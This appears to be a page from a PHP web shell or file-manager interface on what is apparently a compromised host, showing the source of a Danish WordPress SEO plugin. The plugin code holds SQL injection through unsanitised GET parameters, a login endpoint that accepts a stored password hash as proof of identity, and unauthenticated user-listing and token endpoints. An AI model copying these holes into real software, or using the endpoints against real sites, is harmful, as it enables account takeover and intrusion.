HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/domains/findfliserens.dk/private_html/wp-content/plugins/seoworks/seoworks.php
<?php

/**
 * Plugin Name: SEOworks
 * Plugin URI: https://seoworks.dk
 * Description: Adds communications with SEOworks.dk
 * Version: 1.1.6
 * Author: SEOworks
 * Author URI: https://seoworks.dk
 */
require 'plugin-update-checker.php';
$myUpdateChecker = Puc_v4_Factory::buildUpdateChecker(
    'https://seoworks.dk/update/plugin.json',
    __FILE__, //Full path to the main plugin file or functions.php.
    'seoworks'
);
// Current site prefix
register_activation_hook(__FILE__, 'seoworks_activate');
function seoworks_activate()
{
    if (!extension_loaded('curl')) {
        trigger_error('Lib CURL er ikke installeret / aktiveret på denne server. Kontakt din hosting udbyder for at få det aktiveret, før du kan deltage med domænet. (Blot giv dem denne besked, så ved de hvad det handler om).', E_USER_ERROR);
    } else {
        add_option('seowork_token', '');
    }

    if (!is_ssl() && strpos(get_home_url(), 'https')) {
        trigger_error('Vi er forbundet med HTTPS, men Wordpress er sat op til HTTP. Gå til indstillinger -> generelt og tilføj https:// i stedet for http:// til domænet, og prøv igen.', E_USER_ERROR);
    }
}
function oxo_stop_access_profile()
{
    // Remove AdminBar Link
    if (
        'wp_before_admin_bar_render' === current_filter()
        and !current_user_can('manage_options')
    ) {
        return $GLOBALS['wp_admin_bar']->remove_menu('edit-profile', 'user-actions');
    }

    // Remove (sub)menu items
    if (is_admin()) {
        remove_menu_page('profile.php');
        remove_submenu_page('users.php', 'profile.php');
    }

    // Deny access to the profile page and redirect upon try
    if (
        defined('IS_PROFILE_PAGE')
        and IS_PROFILE_PAGE
        and !current_user_can('manage_options')
        ) {
        wp_redirect(admin_url());
        exit;
    }
}
add_action('wp_before_admin_bar_render', 'oxo_stop_access_profile');
add_action('admin_menu', 'oxo_stop_access_profile');
function seo_works_register_query_vars($vars)
{
    $vars[] = 'seo_works_api';

    return $vars;
}
add_filter('query_vars', 'seo_works_register_query_vars');

function myplugin_rewrite_tag_rule()
{
    add_rewrite_tag('%seo_works_api%', '([^&]+)');
    add_rewrite_rule('^seo_works_api/([^/]*)/?', 'index.php?seo_works_api=$matches[1]', 'top');

    // remove comments and customize for custom post types
    // add_rewrite_rule( '^event/city/([^/]*)/?', 'index.php?post_type=event&city=$matches[1]','top' );
}
add_action('init', 'myplugin_rewrite_tag_rule', 10, 0);

add_action('init', 'seo_works', 1);

function on_all_status_transitions($new_status, $old_status, $post)
{
    if ($new_status == 'pending' && get_option('seowork_token', null) != '') {
        $user_info = get_userdata($post->post_author);
        if (in_array('contributor', $user_info->roles)) {
            $sentarray['username'] = $user_info->user_login;
            $sentarray['post_id'] = $post->ID;
            $sentarray['subject'] = ($post->post_title ? $post->post_title : 'Ingen title');
            $sentarray['permalink'] = (get_permalink($post, false) ? get_permalink($post, false) : get_home_url() . '/Ingen title');
            $sentarray['token'] = get_option('seowork_token', null);
            $sentarray['site_url'] = get_home_url();
            $sentarray['state'] = $new_status;
            $agent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)';
            $curl = curl_init('https://seoworks.dk/app/admin/callback/pending.php');
            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);
            curl_setopt($curl, CURLOPT_HEADER, false);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($sentarray));
            curl_setopt($curl, CURLOPT_USERAGENT, $agent);
            //echo curl_exec($curl);
            $transfered_respons = curl_exec($curl);
        }

        // A function to perform actions any time any post changes status.
    }
    if ($new_status == 'publish' && get_option('seowork_token', null) != '') {
        $user_info = get_userdata($post->post_author);
        if (in_array('contributor', $user_info->roles)) {
            $sentarray['username'] = $user_info->user_login;
            $sentarray['post_id'] = $post->ID;
            $sentarray['subject'] = ($post->post_title ? $post->post_title : 'Ingen title');
            $sentarray['permalink'] = (get_permalink($post, false) ? get_permalink($post, false) : get_home_url() . '/Ingen title');
            $sentarray['token'] = get_option('seowork_token', null);
            $sentarray['site_url'] = get_home_url();
            $sentarray['state'] = $new_status;
            $agent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)';
            $curl = curl_init('https://seoworks.dk/app/admin/callback/pending.php');
            curl_setopt($curl, CURLOPT_POST, true);
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);
            curl_setopt($curl, CURLOPT_HEADER, false);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($sentarray));
            curl_setopt($curl, CURLOPT_USERAGENT, $agent);
            //echo curl_exec($curl);
            $transfered_respons = curl_exec($curl);
        }

        // A function to perform actions any time any post changes status.
    }
    //plan articles to future date.
	if ($new_status == 'future' && get_option('seowork_token', null) != '') {
		$user_info = get_userdata($post->post_author);
		if (in_array('contributor', $user_info->roles)) {
			$sentarray['username'] = $user_info->user_login;
			$sentarray['post_id'] = $post->ID;
			$sentarray['subject'] = ($post->post_title ? $post->post_title : 'Ingen title');
			$sentarray['permalink'] = (get_permalink($post, false) ? get_permalink($post, false) : get_home_url() . '/Ingen title');
			$sentarray['token'] = get_option('seowork_token', null);
			$sentarray['site_url'] = get_home_url();
			$sentarray['state'] = $new_status;
			$sentarray['post_date'] = $post->post_date;
			$agent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)';
			$curl = curl_init('https://seoworks.dk/app/admin/callback/pending.php');
			curl_setopt($curl, CURLOPT_POST, true);
			curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);
			curl_setopt($curl, CURLOPT_HEADER, false);
			curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($sentarray));
			curl_setopt($curl, CURLOPT_USERAGENT, $agent);
			//echo curl_exec($curl);
			$transfered_respons = curl_exec($curl);
		}

		// A function to perform actions any time any post changes status.
	}
}
add_action('transition_post_status', 'on_all_status_transitions', 10, 3);

add_action('admin_init', 'allow_contributor_uploads');

function allow_contributor_uploads()
{
    $contributor = get_role('contributor');
    $contributor->add_cap('upload_files');
}
function seo_works()
{
    global $wpdb;
    if (isset($_GET['seo_works_api'])) {
        $datatranfser = [];
        $users = $wpdb->get_results(
            "
            SELECT user_login, id
            FROM $wpdb->users
            "
        );
        $i = 0;
        foreach ($users as $user) {
            $post = $wpdb->get_results(
                "
            SELECT *
            FROM $wpdb->posts
            WHERE $wpdb->posts.post_status = 'publish'
            AND $wpdb->posts.post_type = 'post'
            AND $user->id = $wpdb->posts.post_author
            "
            );
            $user_info = get_userdata($user->id);
            $domain = parse_url(get_home_url());
            $datatranfser['domain'] = str_replace('www.', '', parse_url(get_home_url())['host']);
            $user_roles = implode(', ', $user_info->roles);
            if (count($post) != 0 && $user_roles != 'administrator') {
                $datatranfser['users'][$i]['posts'] = count($post);
                $datatranfser['users'][$i]['user'] = $user->user_login;
            }
            $i++;
        }
        if (count($datatranfser) > 0) {
            $jsondata = json_encode($datatranfser);
        }

        header('Content-Type: application/json');
        die($jsondata);
        //seo_works_api close
    }
    if (isset($_GET['seo_works_api_login'])) {
        $username = $_GET['seo_works_api_user'];
        $users = $wpdb->get_results(
            "
            SELECT user_pass
            FROM $wpdb->users
            WHERE user_login = '$username';
            "
        );

        if ($users[0]->user_pass != urldecode($_GET['seo_works_api_token'])) {
            die('Hov noget gik galt, prøv igen eller kontakt supporten. Hvis du er ny oprettet i Seo Works systemet så kan der gå noget tid inden bruger adgangen er fordelt til alle sites.');
        }
        //echo $username;
        $user = get_user_by('login', $username);

        // Redirect URL //
        if (!is_wp_error($user)) {
            wp_clear_auth_cookie();
            wp_set_current_user($user->ID);
            wp_set_auth_cookie($user->ID);
            //echo get_site_url();
            //print_r($user);
            $redirect_to = user_admin_url();
            //echo $redirect_to;
            wp_safe_redirect($redirect_to);
            exit();
        }
    }
    if (isset($_GET['seo_works_api_add_user'])) {
        $data = [];
        //echo get_option('seowork_token', null);
        if (get_option('seowork_token', null) == $_GET['seo_works_api_token']) {
            if (!isset($_GET['seo_works_api_user']) || !isset($_GET['seo_works_api_pass'])) {
                $data['error'] = 2;
                $data['errortekst'] = 'Missing user data';
                header('Content-Type: application/json');
                die(json_encode($data));
            } else {
                //create user
                $i = 1;
                $username = $_GET['seo_works_api_user'];
                while (username_exists($username)) {
                    $username = $username . $i;
                    $i++;
                    //echo $username;
                }
                $user_id = username_exists($username);
                if (!$user_id) {
                    $domain = parse_url(get_home_url());
                    $random_password = wp_generate_password($length = 12, $include_standard_special_chars = false);
                    $user_id = wp_create_user($username, $_GET['seo_works_api_pass'], $username . '@' . str_replace('www.', '', parse_url(get_home_url())['host']));
                    $user = new WP_User($user_id);
                    //$user->set_role( 'contributor' );
                    $user_id = wp_update_user(['ID' => $user_id, 'role' => 'contributor']);
                    //$updated = $wpdb->update( $wpdb->users, array('user_pass' => $_GET['seo_works_api_pass']), array('ID' => $user_id) );
                    $username = $username;
                    $tokenreturn = $wpdb->get_results(
                        "
                        SELECT user_pass
                        FROM $wpdb->users
                        WHERE user_login = '$username';
                        "
                    );
                    $json['error'] = 1;
                    $json['username'] = $username;
                    $json['token'] = $tokenreturn[0]->user_pass;
                } else {
                    $json['error'] = 2;
                    $json['errortekst'] = 'Brugeren findes allerede på sitet.';
                }
                header('Content-Type: application/json');
                die(json_encode($json));
            }
        } else {
            $json['error'] = 2;
            $json['errortekst'] = 'Sikkerheds token er passer ikke, kontakt seoworks.dk';
            header('Content-Type: application/json');
            die($json);
        }

        //seo_works_api_add_user close
    }
    if (isset($_GET['seo_works_api_connect_site'])) {
        $settings = get_option('seowork_token', null);
        if ($settings == '') {
            $tokeninit = md5(wp_generate_password($length = 12, $include_standard_special_chars = false));
            update_option('seowork_token', $tokeninit);
            $token = [];
            $token['error'] = 1;
            $token['token'] = $tokeninit;
            $token['site_url'] = get_home_url();
            header('Content-Type: application/json');
            die(json_encode($token));
        } else {
            $token['error'] = 2;
            $token['errortekst'] = 'Der er allerede oprettet forbindelse til dette domæne. Hvis du er sikker på at det ikke er forbundet, kan du nulstille forbindelsen i wordpress administrationen til dette domæne under menuen seoworks.dk';
            header('Content-Type: application/json');
            die(json_encode($token));
        }
    }
}
function seoworks_settings_init()
{
}
function seoworks_section_developers_cb($args)
{
    ?>
    <p id="<?php echo esc_attr($args['id']); ?>"><?php esc_html_e('To init the plugin to run with Dinero.', 'dinero'); ?></p>
    <?php
}

function seoworks_domains_options_page()
{
    add_menu_page(
        'SEOworks',
        'SEOworks',
        'manage_options',
        'seoworks-domains',
        'seoworks_domains_options_page_html'
    );
}
add_action('admin_menu', 'seoworks_domains_options_page');

function seoworks_domains_options_page_html()
{
    if (!current_user_can('manage_options')) {
        return;
    }
    if (isset($_POST['submit'])) {
        update_option('seowork_token', '');
        add_settings_error('seoworks_messages', 'seoworks_message', __('Settings Saved', 'seoworks'), 'updated');
    }

    settings_errors('seoworks_messages'); ?>
    <div class="wrap">
        <h1><?php echo esc_html(get_admin_page_title()); ?></h1>

        <form method="post" action="options.php">
            <?php
                // This prints out all hidden setting fields
                settings_fields('seo_works_group');
    do_settings_sections('seo_works_settings');
    submit_button('Gem Ændringer'); ?>
            </form>
        <hr>
        <form action="#" method="post">
            <?php
            settings_fields('seoworks-domains');
    do_settings_sections('seoworks');

    submit_button('Nulstil forbindelse til SEOworks');
    echo '<p style="color: red; font-weight: bold;">Hvis du trykker på nulstil forbindelse, så SKAL DU kontakt SEOworks for at få genoprettet forbindelsen til SEOworks.dk</p>';
    //echo get_option('seowork_token', null);
            ?>
        </form>


    </div>
    <?php
}

function mux_is_rest()
{
    $prefix = rest_get_url_prefix();
    if (defined('REST_REQUEST') && REST_REQUEST // (#1)
        || isset($_GET['rest_route']) // (#2)
            && strpos(trim($_GET['rest_route'], '\\/'), $prefix, 0) === 0) {
        return true;
    }

    // (#3)
    $rest_url = wp_parse_url(site_url($prefix));
    $current_url = wp_parse_url(add_query_arg([]));

    return strpos($current_url['path'], $rest_url['path'], 0) === 0;
}

function tim_change_post_author($post)
{
    if (mux_is_rest()) {
        return $post;
    }

    if (is_admin() && !wp_doing_ajax()) {
        return $post;
    }
    $postAuthor = $post->post_author;
	if (empty ($postAuthor) && !empty ($post->ID )) {
		$postAuthor = get_post_field( 'post_author', $post->ID );
	}
	$user_info = get_userdata($postAuthor);

    if (is_array($user_info->roles) && in_array('contributor', $user_info->roles)) {
        $settings = get_option('seo_works_settings', []);
        if (isset($settings['author'])) {
            $user_id = $settings['author'];
        } else {
            $administrators = get_users([
                'role' => 'administrator',
                'orderby' => 'registered',
                'number' => 1
            ]);
            $user_id = $administrators[0]->ID;
        }

        $post->post_author = $user_id;
    }

    return $post;
}

add_action('the_post', function ($post) {
    global $post;
    $post = tim_change_post_author($post);
});

add_filter('the_posts', function ($posts) {
    foreach ($posts as $key => $post) {
        $posts[$key] = tim_change_post_author($post);
    }

    return $posts;
});

add_action('admin_init', function () {
    register_setting(
        'seo_works_group', // Option group
        'seo_works_settings', // Option name
        'seo_works_settings_sanitize' // Sanitize
    );

    add_settings_section(
        'seo_works_settings', // ID
        '', // Title
        'seo_works_settings_section_info', // Callback
        'seo_works_settings' // Page
    );

    add_settings_field(
        'author',
        'Forfatter bruger',
        'seo_works_settings_author',
        'seo_works_settings',
        'seo_works_settings'
    );
});

function seo_works_settings_sanitize($input)
{
    $new_input = [];

    if (isset($input['author'])) {
        $new_input['author'] = sanitize_text_field($input['author']);
    }

    return $new_input;
}

function seo_works_settings_section_info()
{
    echo '';
}

function seo_works_settings_author()
{
    $settings = get_option('seo_works_settings', []);
    $users = get_users(); ?>
        <select name="seo_works_settings[author]" id="seo_works_settings[author]">
            <?php foreach ($users as $user): ?>
                <option value="<?= $user->ID ?>" <?php selected($user->ID, $settings['author']) ?>><?= $user->display_name ?></option>
            <?php endforeach; ?>
        </select>
    <?php
}